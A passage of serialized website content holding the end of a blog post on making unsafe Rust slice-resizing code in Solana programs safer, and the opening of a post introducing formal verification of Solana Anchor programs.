data\n",{"type":23,"tag":504,"props":19779,"children":19780},{"class":5016,"line":5099},[19781,19785,19789,19793,19797,19801,19805,19809,19813,19817,19821,19825,19829,19833,19837,19841,19845,19849,19853,19857,19861],{"type":23,"tag":504,"props":19782,"children":19783},{"style":5030},[19784],{"type":29,"value":5033},{"type":23,"tag":504,"props":19786,"children":19787},{"style":5041},[19788],{"type":29,"value":15903},{"type":23,"tag":504,"props":19790,"children":19791},{"style":5047},[19792],{"type":29,"value":5050},{"type":23,"tag":504,"props":19794,"children":19795},{"style":5030},[19796],{"type":29,"value":15843},{"type":23,"tag":504,"props":19798,"children":19799},{"style":5047},[19800],{"type":29,"value":357},{"type":23,"tag":504,"props":19802,"children":19803},{"style":5139},[19804],{"type":29,"value":15920},{"type":23,"tag":504,"props":19806,"children":19807},{"style":5058},[19808],{"type":29,"value":15925},{"type":23,"tag":504,"props":19810,"children":19811},{"style":5047},[19812],{"type":29,"value":5173},{"type":23,"tag":504,"props":19814,"children":19815},{"style":5139},[19816],{"type":29,"value":15934},{"type":23,"tag":504,"props":19818,"children":19819},{"style":5058},[19820],{"type":29,"value":15925},{"type":23,"tag":504,"props":19822,"children":19823},{"style":5047},[19824],{"type":29,"value":357},{"type":23,"tag":504,"props":19826,"children":19827},{"style":5139},[19828],{"type":29,"value":15947},{"type":23,"tag":504,"props":19830,"children":19831},{"style":5058},[19832],{"type":29,"value":603},{"type":23,"tag":504,"props":19834,"children":19835},{"style":5047},[19836],{"type":29,"value":6368},{"type":23,"tag":504,"props":19838,"children":19839},{"style":5083},[19840],{"type":29,"value":6124},{"type":23,"tag":504,"props":19842,"children":19843},{"style":5058},[19844],{"type":29,"value":5128},{"type":23,"tag":504,"props":19846,"children":19847},{"style":5030},[19848],{"type":29,"value":10887},{"type":23,"tag":504,"props":19850,"children":19851},{"style":5047},[19852],{"type":29,"value":11863},{"type":23,"tag":504,"props":19854,"children":19855},{"style":5030},[19856],{"type":29,"value":5783},{"type":23,"tag":504,"props":19858,"children":19859},{"style":5467},[19860],{"type":29,"value":7905},{"type":23,"tag":504,"props":19862,"children":19863},{"style":5058},[19864],{"type":29,"value":5061},{"type":23,"tag":504,"props":19866,"children":19867},{"class":5016,"line":5203},[19868,19872,19876,19880,19884,19888,19892],{"type":23,"tag":504,"props":19869,"children":19870},{"style":5047},[19871],{"type":29,"value":19610},{"type":23,"tag":504,"props":19873,"children":19874},{"style":5041},[19875],{"type":29,"value":15995},{"type":23,"tag":504,"props":19877,"children":19878},{"style":5047},[19879],{"type":29,"value":5050},{"type":23,"tag":504,"props":19881,"children":19882},{"style":5041},[19883],{"type":29,"value":16004},{"type":23,"tag":504,"props":19885,"children":19886},{"style":5030},[19887],{"type":29,"value":10873},{"type":23,"tag":504,"props":19889,"children":19890},{"style":5467},[19891],{"type":29,"value":7905},{"type":23,"tag":504,"props":19893,"children":19894},{"style":5058},[19895],{"type":29,"value":5061},{"type":23,"tag":504,"props":19897,"children":19898},{"class":5016,"line":5308},[19899],{"type":23,"tag":504,"props":19900,"children":19901},{"emptyLinePlaceholder":15},[19902],{"type":29,"value":5734},{"type":23,"tag":504,"props":19904,"children":19905},{"class":5016,"line":5336},[19906],{"type":23,"tag":504,"props":19907,"children":19908},{"style":5021},[19909],{"type":29,"value":19910},"    // Then set the new length in the local slice\n",{"type":23,"tag":504,"props":19912,"children":19913},{"class":5016,"line":5349},[19914,19918,19922,19926,19930,19934,19938,19942,19946,19950,19954,19958,19962,19966,19970,19974,19978,19982,19986,19990,19994,19998,20002,20006,20010,20014,20018,20022,20026,20030,20034],{"type":23,"tag":504,"props":19915,"children":19916},{"style":5030},[19917],{"type":29,"value":5033},{"type":23,"tag":504,"props":19919,"children":19920},{"style":5041},[19921],{"type":29,"value":15903},{"type":23,"tag":504,"props":19923,"children":19924},{"style":5047},[19925],{"type":29,"value":5050},{"type":23,"tag":504,"props":19927,"children":19928},{"style":5047},[19929],{"type":29,"value":9185},{"type":23,"tag":504,"props":19931,"children":19932},{"style":5030},[19933],{"type":29,"value":5783},{"type":23,"tag":504,"props":19935,"children":19936},{"style":5047},[19937],{"type":29,"value":11863},{"type":23,"tag":504,"props":19939,"children":19940},{"style":5058},[19941],{"type":29,"value":16063},{"type":23,"tag":504,"props":19943,"children":19944},{"style":5030},[19945],{"type":29,"value":15759},{"type":23,"tag":504,"props":19947,"children":19948},{"style":5047},[19949],{"type":29,"value":357},{"type":23,"tag":504,"props":19951,"children":19952},{"style":5058},[19953],{"type":29,"value":5761},{"type":23,"tag":504,"props":19955,"children":19956},{"style":5047},[19957],{"type":29,"value":357},{"type":23,"tag":504,"props":19959,"children":19960},{"style":5139},[19961],{"type":29,"value":16084},{"type":23,"tag":504,"props":19963,"children":19964},{"style":5058},[19965],{"type":29,"value":16089},{"type":23,"tag":504,"props":19967,"children":19968},{"style":5030},[19969],{"type":29,"value":10887},{"type":23,"tag":504,"props":19971,"children":19972},{"style":5047},[19973],{"type":29,"value":11863},{"type":23,"tag":504,"props":19975,"children":19976},{"style":5030},[19977],{"type":29,"value":11701},{"type":23,"tag":504,"props":19979,"children":19980},{"style":5467},[19981],{"type":29,"value":7905},{"type":23,"tag":504,"props":19983,"children":19984},{"style":5058},[19985],{"type":29,"value":933},{"type":23,"tag":504,"props":19987,"children":19988},{"style":5047},[19989],{"type":29,"value":357},{"type":23,"tag":504,"props":19991,"children":19992},{"style":5139},[19993],{"type":29,"value":15947},{"type":23,"tag":504,"props":19995,"children":19996},{"style":5058},[19997],{"type":29,"value":603},{"type":23,"tag":504,"props":19999,"children":20000},{"style":5083},[20001],{"type":29,"value":826},{"type":23,"tag":504,"props":20003,"children":20004},{"style":5058},[20005],{"type":29,"value":5128},{"type":23,"tag":504,"props":20007,"children":20008},{"style":5030},[20009],{"type":29,"value":10887},{"type":23,"tag":504,"props":20011,"children":20012},{"style":5467},[20013],{"type":29,"value":7905},{"type":23,"tag":504,"props":20015,"children":20016},{"style":5058},[20017],{"type":29,"value":5128},{"type":23,"tag":504,"props":20019,"children":20020},{"style":5030},[20021],{"type":29,"value":10887},{"type":23,"tag":504,"props":20023,"children":20024},{"style":5047},[20025],{"type":29,"value":11863},{"type":23,"tag":504,"props":20027,"children":20028},{"style":5030},[20029],{"type":29,"value":5783},{"type":23,"tag":504,"props":20031,"children":20032},{"style":5467},[20033],{"type":29,"value":7905},{"type":23,"tag":504,"props":20035,"children":20036},{"style":5058},[20037],{"type":29,"value":5888},{"type":23,"tag":504,"props":20039,"children":20040},{"class":5016,"line":5367},[20041,20045,20049,20053,20057,20061,20065],{"type":23,"tag":504,"props":20042,"children":20043},{"style":5047},[20044],{"type":29,"value":19610},{"type":23,"tag":504,"props":20046,"children":20047},{"style":5041},[20048],{"type":29,"value":15995},{"type":23,"tag":504,"props":20050,"children":20051},{"style":5047},[20052],{"type":29,"value":5050},{"type":23,"tag":504,"props":20054,"children":20055},{"style":5041},[20056],{"type":29,"value":16004},{"type":23,"tag":504,"props":20058,"children":20059},{"style":5030},[20060],{"type":29,"value":10873},{"type":23,"tag":504,"props":20062,"children":20063},{"style":5467},[20064],{"type":29,"value":7905},{"type":23,"tag":504,"props":20066,"children":20067},{"style":5058},[20068],{"type":29,"value":5061},{"type":23,"tag":504,"props":20070,"children":20071},{"class":5016,"line":5388},[20072],{"type":23,"tag":504,"props":20073,"children":20074},{"style":5058},[20075],{"type":29,"value":5965},{"type":23,"tag":32,"props":20077,"children":20078},{},[20079,20081,20086],{"type":29,"value":20080},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":23,"tag":154,"props":20082,"children":20084},{"className":20083},[],[20085],{"type":29,"value":17550},{"type":29,"value":20087}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":23,"tag":32,"props":20089,"children":20090},{},[20091,20093,20098,20100,20105,20107,20112,20114,20119,20121,20126,20128,20134,20136,20146,20148,20159],{"type":29,"value":20092},"First, let's deal with the ",{"type":23,"tag":154,"props":20094,"children":20096},{"className":20095},[],[20097],{"type":29,"value":17550},{"type":29,"value":20099}," borrowing issue. When we ",{"type":23,"tag":154,"props":20101,"children":20103},{"className":20102},[],[20104],{"type":29,"value":15920},{"type":29,"value":20106},", we get a ",{"type":23,"tag":154,"props":20108,"children":20110},{"className":20109},[],[20111],{"type":29,"value":18789},{"type":29,"value":20113}," back, which represents our borrow of the ",{"type":23,"tag":154,"props":20115,"children":20117},{"className":20116},[],[20118],{"type":29,"value":17550},{"type":29,"value":20120},"'s data. The fix here is simple: keep that ",{"type":23,"tag":154,"props":20122,"children":20124},{"className":20123},[],[20125],{"type":29,"value":18789},{"type":29,"value":20127}," around and use it to access the data, instead of using ",{"type":23,"tag":154,"props":20129,"children":20131},{"className":20130},[],[20132],{"type":29,"value":20133},"RefCell::as_ptr",{"type":29,"value":20135},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":23,"tag":17520,"props":20137,"children":20138},{},[20139],{"type":23,"tag":68,"props":20140,"children":20144},{"href":20141,"ariaDescribedBy":20142,"dataFootnoteRef":7,"id":20143},"#user-content-fn-rustc-llvm",[17527],"user-content-fnref-rustc-llvm",[20145],{"type":29,"value":19577},{"type":29,"value":20147}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":23,"tag":17520,"props":20149,"children":20150},{},[20151],{"type":23,"tag":68,"props":20152,"children":20156},{"href":20153,"ariaDescribedBy":20154,"dataFootnoteRef":7,"id":20155},"#user-content-fn-godbolt",[17527],"user-content-fnref-godbolt",[20157],{"type":29,"value":20158},"5",{"type":29,"value":20160},". So then we get:",{"type":23,"tag":4743,"props":20162,"children":20164},{"className":5009,"code":20163,"language":5008,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[20165],{"type":23,"tag":154,"props":20166,"children":20167},{"__ignoreMap":7},[20168,20212,20219,20226,20310,20350,20357,20364],{"type":23,"tag":504,"props":20169,"children":20170},{"class":5016,"line":5017},[20171,20175,20179,20184,20188,20192,20196,20200,20204,20208],{"type":23,"tag":504,"props":20172,"children":20173},{"style":5030},[20174],{"type":29,"value":13833},{"type":23,"tag":504,"props":20176,"children":20177},{"style":5030},[20178],{"type":29,"value":5038},{"type":23,"tag":504,"props":20180,"children":20181},{"style":5041},[20182],{"type":29,"value":20183}," slice",{"type":23,"tag":504,"props":20185,"children":20186},{"style":5047},[20187],{"type":29,"value":5050},{"type":23,"tag":504,"props":20189,"children":20190},{"style":5030},[20191],{"type":29,"value":15843},{"type":23,"tag":504,"props":20193,"children":20194},{"style":5047},[20195],{"type":29,"value":357},{"type":23,"tag":504,"props":20197,"children":20198},{"style":5139},[20199],{"type":29,"value":15920},{"type":23,"tag":504,"props":20201,"children":20202},{"style":5058},[20203],{"type":29,"value":15925},{"type":23,"tag":504,"props":20205,"children":20206},{"style":5047},[20207],{"type":29,"value":5195},{"type":23,"tag":504,"props":20209,"children":20210},{"style":5058},[20211],{"type":29,"value":5061},{"type":23,"tag":504,"props":20213,"children":20214},{"class":5016,"line":4868},[20215],{"type":23,"tag":504,"props":20216,"children":20217},{"emptyLinePlaceholder":15},[20218],{"type":29,"value":5734},{"type":23,"tag":504,"props":20220,"children":20221},{"class":5016,"line":4876},[20222],{"type":23,"tag":504,"props":20223,"children":20224},{"style":5021},[20225],{"type":29,"value":16449},{"type":23,"tag":504,"props":20227,"children":20228},{"class":5016,"line":5099},[20229,20233,20237,20241,20245,20249,20253,20257,20261,20265,20269,20273,20277,20281,20285,20290,20294,20298,20302,20306],{"type":23,"tag":504,"props":20230,"children":20231},{"style":5030},[20232],{"type":29,"value":13833},{"type":23,"tag":504,"props":20234,"children":20235},{"style":5041},[20236],{"type":29,"value":15903},{"type":23,"tag":504,"props":20238,"children":20239},{"style":5047},[20240],{"type":29,"value":5050},{"type":23,"tag":504,"props":20242,"children":20243},{"style":5030},[20244],{"type":29,"value":16636},{"type":23,"tag":504,"props":20246,"children":20247},{"style":5058},[20248],{"type":29,"value":11633},{"type":23,"tag":504,"props":20250,"children":20251},{"style":5041},[20252],{"type":29,"value":17360},{"type":23,"tag":504,"props":20254,"children":20255},{"style":5047},[20256],{"type":29,"value":357},{"type":23,"tag":504,"props":20258,"children":20259},{"style":5139},[20260],{"type":29,"value":15934},{"type":23,"tag":504,"props":20262,"children":20263},{"style":5058},[20264],{"type":29,"value":15925},{"type":23,"tag":504,"props":20266,"children":20267},{"style":5047},[20268],{"type":29,"value":357},{"type":23,"tag":504,"props":20270,"children":20271},{"style":5139},[20272],{"type":29,"value":15947},{"type":23,"tag":504,"props":20274,"children":20275},{"style":5058},[20276],{"type":29,"value":603},{"type":23,"tag":504,"props":20278,"children":20279},{"style":5047},[20280],{"type":29,"value":6368},{"type":23,"tag":504,"props":20282,"children":20283},{"style":5083},[20284],{"type":29,"value":6124},{"type":23,"tag":504,"props":20286,"children":20287},{"style":5058},[20288],{"type":29,"value":20289},") } ",{"type":23,"tag":504,"props":20291,"children":20292},{"style":5030},[20293],{"type":29,"value":10887},{"type":23,"tag":504,"props":20295,"children":20296},{"style":5047},[20297],{"type":29,"value":11863},{"type":23,"tag":504,"props":20299,"children":20300},{"style":5030},[20301],{"type":29,"value":5783},{"type":23,"tag":504,"props":20303,"children":20304},{"style":5467},[20305],{"type":29,"value":7905},{"type":23,"tag":504,"props":20307,"children":20308},{"style":5058},[20309],{"type":29,"value":5061},{"type":23,"tag":504,"props":20311,"children":20312},{"class":5016,"line":5203},[20313,20317,20321,20325,20329,20333,20337,20341,20345],{"type":23,"tag":504,"props":20314,"children":20315},{"style":5030},[20316],{"type":29,"value":16402},{"type":23,"tag":504,"props":20318,"children":20319},{"style":5058},[20320],{"type":29,"value":11633},{"type":23,"tag":504,"props":20322,"children":20323},{"style":5047},[20324],{"type":29,"value":6613},{"type":23,"tag":504,"props":20326,"children":20327},{"style":5041},[20328],{"type":29,"value":15995},{"type":23,"tag":504,"props":20330,"children":20331},{"style":5047},[20332],{"type":29,"value":5050},{"type":23,"tag":504,"props":20334,"children":20335},{"style":5041},[20336],{"type":29,"value":16004},{"type":23,"tag":504,"props":20338,"children":20339},{"style":5030},[20340],{"type":29,"value":10873},{"type":23,"tag":504,"props":20342,"children":20343},{"style":5467},[20344],{"type":29,"value":7905},{"type":23,"tag":504,"props":20346,"children":20347},{"style":5058},[20348],{"type":29,"value":20349}," };\n",{"type":23,"tag":504,"props":20351,"children":20352},{"class":5016,"line":5308},[20353],{"type":23,"tag":504,"props":20354,"children":20355},{"emptyLinePlaceholder":15},[20356],{"type":29,"value":5734},{"type":23,"tag":504,"props":20358,"children":20359},{"class":5016,"line":5336},[20360],{"type":23,"tag":504,"props":20361,"children":20362},{"style":5021},[20363],{"type":29,"value":18187},{"type":23,"tag":504,"props":20365,"children":20366},{"class":5016,"line":5349},[20367,20371,20375,20379,20383,20388,20392,20396,20400,20405,20409,20413,20417,20421,20426,20430],{"type":23,"tag":504,"props":20368,"children":20369},{"style":5047},[20370],{"type":29,"value":6613},{"type":23,"tag":504,"props":20372,"children":20373},{"style":5041},[20374],{"type":29,"value":17360},{"type":23,"tag":504,"props":20376,"children":20377},{"style":5047},[20378],{"type":29,"value":5050},{"type":23,"tag":504,"props":20380,"children":20381},{"style":5030},[20382],{"type":29,"value":16636},{"type":23,"tag":504,"props":20384,"children":20385},{"style":5058},[20386],{"type":29,"value":20387}," { std",{"type":23,"tag":504,"props":20389,"children":20390},{"style":5047},[20391],{"type":29,"value":5530},{"type":23,"tag":504,"props":20393,"children":20394},{"style":5058},[20395],{"type":29,"value":17360},{"type":23,"tag":504,"props":20397,"children":20398},{"style":5047},[20399],{"type":29,"value":5530},{"type":23,"tag":504,"props":20401,"children":20402},{"style":5139},[20403],{"type":29,"value":20404},"from_raw_parts_mut",{"type":23,"tag":504,"props":20406,"children":20407},{"style":5058},[20408],{"type":29,"value":603},{"type":23,"tag":504,"props":20410,"children":20411},{"style":5041},[20412],{"type":29,"value":17360},{"type":23,"tag":504,"props":20414,"children":20415},{"style":5047},[20416],{"type":29,"value":357},{"type":23,"tag":504,"props":20418,"children":20419},{"style":5139},[20420],{"type":29,"value":15934},{"type":23,"tag":504,"props":20422,"children":20423},{"style":5058},[20424],{"type":29,"value":20425},"(), ",{"type":23,"tag":504,"props":20427,"children":20428},{"style":5041},[20429],{"type":29,"value":15768},{"type":23,"tag":504,"props":20431,"children":20432},{"style":5058},[20433],{"type":29,"value":16791},{"type":23,"tag":32,"props":20435,"children":20436},{},[20437,20439,20444,20446,20451,20453,20458,20460],{"type":29,"value":20438},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":23,"tag":154,"props":20440,"children":20442},{"className":20441},[],[20443],{"type":29,"value":10087},{"type":29,"value":20445}," and not a ",{"type":23,"tag":154,"props":20447,"children":20449},{"className":20448},[],[20450],{"type":29,"value":18649},{"type":29,"value":20452}," for the size field, given that ",{"type":23,"tag":154,"props":20454,"children":20456},{"className":20455},[],[20457],{"type":29,"value":18649},{"type":29,"value":20459}," is architecture-dependent), and no dependency on slice reference internals!",{"type":23,"tag":17520,"props":20461,"children":20462},{},[20463],{"type":23,"tag":68,"props":20464,"children":20468},{"href":20465,"ariaDescribedBy":20466,"dataFootnoteRef":7,"id":20467},"#user-content-fn-slice-unbound-lifetime",[17527],"user-content-fnref-slice-unbound-lifetime",[20469],{"type":29,"value":20470},"6",{"type":23,"tag":20472,"props":20473,"children":20476},"section",{"className":20474,"dataFootnotes":7},[20475],"footnotes",[20477,20484],{"type":23,"tag":24,"props":20478,"children":20481},{"className":20479,"id":17527},[20480],"sr-only",[20482],{"type":29,"value":20483},"Footnotes",{"type":23,"tag":139,"props":20485,"children":20486},{},[20487,20592,20610,20665,20678,20706],{"type":23,"tag":143,"props":20488,"children":20490},{"id":20489},"user-content-fn-rc-refs",[20491,20493,20499,20501,20506,20508,20512,20514,20518,20520,20525,20527,20533,20535,20540,20542,20552,20554,20559,20561,20566,20568,20573,20575,20581,20583],{"type":29,"value":20492},"I find it helpful to view owning an ",{"type":23,"tag":154,"props":20494,"children":20496},{"className":20495},[],[20497],{"type":29,"value":20498},"Rc\u003CT>",{"type":29,"value":20500}," as holding a shared reference to the underlying ",{"type":23,"tag":154,"props":20502,"children":20504},{"className":20503},[],[20505],{"type":29,"value":8033},{"type":29,"value":20507}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":23,"tag":4321,"props":20509,"children":20510},{},[20511],{"type":29,"value":18505},{"type":29,"value":20513}," ensures that the actual ",{"type":23,"tag":4321,"props":20515,"children":20516},{},[20517],{"type":29,"value":5761},{"type":29,"value":20519}," stays alive, however all you have is a reference to the ",{"type":23,"tag":154,"props":20521,"children":20523},{"className":20522},[],[20524],{"type":29,"value":8033},{"type":29,"value":20526}," (through the ",{"type":23,"tag":154,"props":20528,"children":20530},{"className":20529},[],[20531],{"type":29,"value":20532},"Deref\u003CTarget = T>",{"type":29,"value":20534}," impl) - ",{"type":23,"tag":4321,"props":20536,"children":20537},{},[20538],{"type":29,"value":20539},"not",{"type":29,"value":20541}," ownership ",{"type":23,"tag":4321,"props":20543,"children":20544},{},[20545,20547],{"type":29,"value":20546},"of the ",{"type":23,"tag":154,"props":20548,"children":20550},{"className":20549},[],[20551],{"type":29,"value":8033},{"type":29,"value":20553},". In short, owning an ",{"type":23,"tag":154,"props":20555,"children":20557},{"className":20556},[],[20558],{"type":29,"value":20498},{"type":29,"value":20560}," is owning a (shared, read-only) reference to ",{"type":23,"tag":154,"props":20562,"children":20564},{"className":20563},[],[20565],{"type":29,"value":8033},{"type":29,"value":20567},", not owning ",{"type":23,"tag":154,"props":20569,"children":20571},{"className":20570},[],[20572],{"type":29,"value":8033},{"type":29,"value":20574}," directly like with ",{"type":23,"tag":154,"props":20576,"children":20578},{"className":20577},[],[20579],{"type":29,"value":20580},"Box\u003CT>",{"type":29,"value":20582},". ",{"type":23,"tag":68,"props":20584,"children":20589},{"href":20585,"ariaLabel":20586,"className":20587,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[20588],"data-footnote-backref",[20590],{"type":29,"value":20591},"↩",{"type":23,"tag":143,"props":20593,"children":20595},{"id":20594},"user-content-fn-sendsync",[20596,20602,20603],{"type":23,"tag":154,"props":20597,"children":20599},{"className":20598},[],[20600],{"type":29,"value":20601},"!Send + !Sync",{"type":29,"value":1698},{"type":23,"tag":68,"props":20604,"children":20608},{"href":20605,"ariaLabel":20606,"className":20607,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[20588],[20609],{"type":29,"value":20591},{"type":23,"tag":143,"props":20611,"children":20613},{"id":20612},"user-content-fn-layout",[20614,20616,20621,20622,20635,20637,20642,20644,20649,20651,20656,20658],{"type":29,"value":20615},"Note that this is a terrible idea for yet another reason: ",{"type":23,"tag":154,"props":20617,"children":20619},{"className":20618},[],[20620],{"type":29,"value":16985},{"type":29,"value":7546},{"type":23,"tag":68,"props":20623,"children":20626},{"href":20624,"rel":20625},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[72],[20627,20629],{"type":29,"value":20628},"not declared with ",{"type":23,"tag":154,"props":20630,"children":20632},{"className":20631},[],[20633],{"type":29,"value":20634},"#[repr(C)]",{"type":29,"value":20636},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":23,"tag":4321,"props":20638,"children":20639},{},[20640],{"type":29,"value":20641},"breaks the entire chain",{"type":29,"value":20643}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":23,"tag":4321,"props":20645,"children":20646},{},[20647],{"type":29,"value":20648},"some",{"type":29,"value":20650}," kind of interface to the specific layout of the specific ",{"type":23,"tag":154,"props":20652,"children":20654},{"className":20653},[],[20655],{"type":29,"value":18557},{"type":29,"value":20657}," versions used to build on-chain code for all eternity... ",{"type":23,"tag":68,"props":20659,"children":20663},{"href":20660,"ariaLabel":20661,"className":20662,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[20588],[20664],{"type":29,"value":20591},{"type":23,"tag":143,"props":20666,"children":20668},{"id":20667},"user-content-fn-rustc-llvm",[20669,20671],{"type":29,"value":20670},"Actually, it's LLVM that does the optimization ",{"type":23,"tag":68,"props":20672,"children":20676},{"href":20673,"ariaLabel":20674,"className":20675,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[20588],[20677],{"type":29,"value":20591},{"type":23,"tag":143,"props":20679,"children":20681},{"id":20680},"user-content-fn-godbolt",[20682,20689,20691,20697,20699],{"type":23,"tag":68,"props":20683,"children":20686},{"href":20684,"rel":20685},"https://godbolt.org/z/PK46xMbxc",[72],[20687],{"type":29,"value":20688},"Click here",{"type":29,"value":20690}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":23,"tag":154,"props":20692,"children":20694},{"className":20693},[],[20695],{"type":29,"value":20696},"libcore",{"type":29,"value":20698}," available for other architectures yet. ",{"type":23,"tag":68,"props":20700,"children":20704},{"href":20701,"ariaLabel":20702,"className":20703,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[20588],[20705],{"type":29,"value":20591},{"type":23,"tag":143,"props":20707,"children":20709},{"id":20708},"user-content-fn-slice-unbound-lifetime",[20710,20712,20717,20719,20725,20727,20733,20735,20741,20743,20749,20751,20757,20759,20764,20766],{"type":29,"value":20711},"The astute reader may have noticed that ",{"type":23,"tag":154,"props":20713,"children":20715},{"className":20714},[],[20716],{"type":29,"value":20404},{"type":29,"value":20718}," still returns an unbounded lifetime (notice in the signature ",{"type":23,"tag":154,"props":20720,"children":20722},{"className":20721},[],[20723],{"type":29,"value":20724},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":29,"value":20726},", the lifetime parameter ",{"type":23,"tag":154,"props":20728,"children":20730},{"className":20729},[],[20731],{"type":29,"value":20732},"'a",{"type":29,"value":20734}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":23,"tag":154,"props":20736,"children":20738},{"className":20737},[],[20739],{"type":29,"value":20740},"*slice",{"type":29,"value":20742},", which is ",{"type":23,"tag":154,"props":20744,"children":20746},{"className":20745},[],[20747],{"type":29,"value":20748},"&'info [u8]",{"type":29,"value":20750}," (where ",{"type":23,"tag":154,"props":20752,"children":20754},{"className":20753},[],[20755],{"type":29,"value":20756},"'info",{"type":29,"value":20758}," is the lifetime parameter of the ",{"type":23,"tag":154,"props":20760,"children":20762},{"className":20761},[],[20763],{"type":29,"value":16985},{"type":29,"value":20765}," struct) - this is exactly the lifetime we started with. ",{"type":23,"tag":68,"props":20767,"children":20771},{"href":20768,"ariaLabel":20769,"className":20770,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[20588],[20772],{"type":29,"value":20591},{"type":23,"tag":7410,"props":20774,"children":20775},{},[20776],{"type":29,"value":7414},{"title":7,"searchDepth":4868,"depth":4868,"links":20778},[20779,20785,20789,20790,20792],{"id":16414,"depth":4868,"text":20780,"children":20781},"Breaking down realloc",[20782,20783],{"id":16580,"depth":4876,"text":16583},{"id":17939,"depth":4876,"text":20784},"Back to realloc",{"id":18891,"depth":4868,"text":18894,"children":20786},[20787,20788],{"id":18897,"depth":4876,"text":18900},{"id":19119,"depth":4876,"text":19122},{"id":19306,"depth":4868,"text":19309},{"id":19708,"depth":4868,"text":20791},"Towards safer unsafe",{"id":17527,"depth":4868,"text":20483},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":20797,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":20798,"description":20799,"author":20800,"image":20801,"date":20803,"isFeatured":15,"onBlogPage":15,"tags":20804,"body":20805,"_type":4892,"_id":31053,"_source":4894,"_file":31054,"_stem":31055,"_extension":4897},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads multisig.","harrison",{"src":20802,"height":15669,"width":14},"/posts/formally-verifying-solana-programs/formal-verification-title.jpg","2023-01-26",[4909,4910],{"type":20,"children":20806,"toc":31025},[20807,20812,20817,20843,20847,20859,20882,20905,20917,20940,20943,20950,20999,21005,21011,21016,21027,21068,21073,21079,21084,21317,21337,21342,21347,21420,21425,21495,21509,21934,21954,21960,21979,21984,21989,21994,22000,22012,22047,22058,22069,22081,22086,22118,22142,22161,22167,22184,22190,22217,22222,22242,22254,22400,22428,22431,22443,22526,22545,22548,22587,22754,22759,22765,22777,22795,22808,22969,22981,22994,23468,23473,23520,23526,23544,23613,23841,24055,24060,24132,24180,24185,24191,24293,24397,24402,24465,24470,24476,24541,24546,24588,24614,24620,24689,24694,24744,24755,24761,24772,24793,24798,24803,24826,24832,24844,24864,25980,25999,26050,26055,26063,26075,26080,26088,26093,26109,26145,26150,26244,26249,26257,26262,26374,26379,26387,26400,26564,26569,26577,26582,26587,26655,26689,26695,26700,26711,26729,27107,27119,27131,27139,27150,27181,27186,27194,27199,27472,27491,27496,27522,28390,28402,28501,28513,28555,28560,28572,28580,28585,28597,28623,28783,28795,28803,28808,29084,29089,29101,29256,29276,29602,29636,29830,29863,29875,29997,30017,30022,30027,30032,30045,30053,30058,30533,30545,30550,30562,30567,30826,30852,30857,30863,30869,30881,30893,30912,30959,30964,30970,30975,30980,30985,30989,30994,30999,31002,31021],{"type":23,"tag":32,"props":20808,"children":20809},{},[20810],{"type":29,"value":20811},"Since the early days of computing, bugs have crept their way into programs and wreaked havoc on the intentions of the programmer. Logical fallacies, race conditions, or simple typos could manifest as crashes or lay undetected, silently breaking the functionality of the host program.",{"type":23,"tag":32,"props":20813,"children":20814},{},[20815],{"type":29,"value":20816},"When your program is connected to the internet, there is the new risk that bugs may introduce security holes into your system. Even simple buffer overflows can be exploited by skilled attackers to compromise the integrity of your program.",{"type":23,"tag":32,"props":20818,"children":20819},{},[20820,20822,20826,20828,20833,20835,20842],{"type":29,"value":20821},"In the world of Web3 we create programs that talk to strangers ",{"type":23,"tag":4321,"props":20823,"children":20824},{},[20825],{"type":29,"value":18419},{"type":29,"value":20827}," control millions of dollars 🤑. Bugs in these programs are some of the ",{"type":23,"tag":4321,"props":20829,"children":20830},{},[20831],{"type":29,"value":20832},"juciest",{"type":29,"value":20834},"; anonymous attackers that can find and exploit them will walk away with potentially ",{"type":23,"tag":68,"props":20836,"children":20839},{"href":20837,"rel":20838},"https://rekt.news/leaderboard/",[72],[20840],{"type":29,"value":20841},"hundreds of millions of dollars",{"type":29,"value":357},{"type":23,"tag":20844,"props":20845,"children":20846},"hr",{},[],{"type":23,"tag":32,"props":20848,"children":20849},{},[20850,20852,20857],{"type":29,"value":20851},"At OtterSec we are ",{"type":23,"tag":4321,"props":20853,"children":20854},{},[20855],{"type":29,"value":20856},"highly skilled in pest control",{"type":29,"value":20858}," - finding and squashing bugs before they are exploited by less well-intentioned hackers. We are constantly striving to improve our techniques and develop new technologies that aid in our auditing 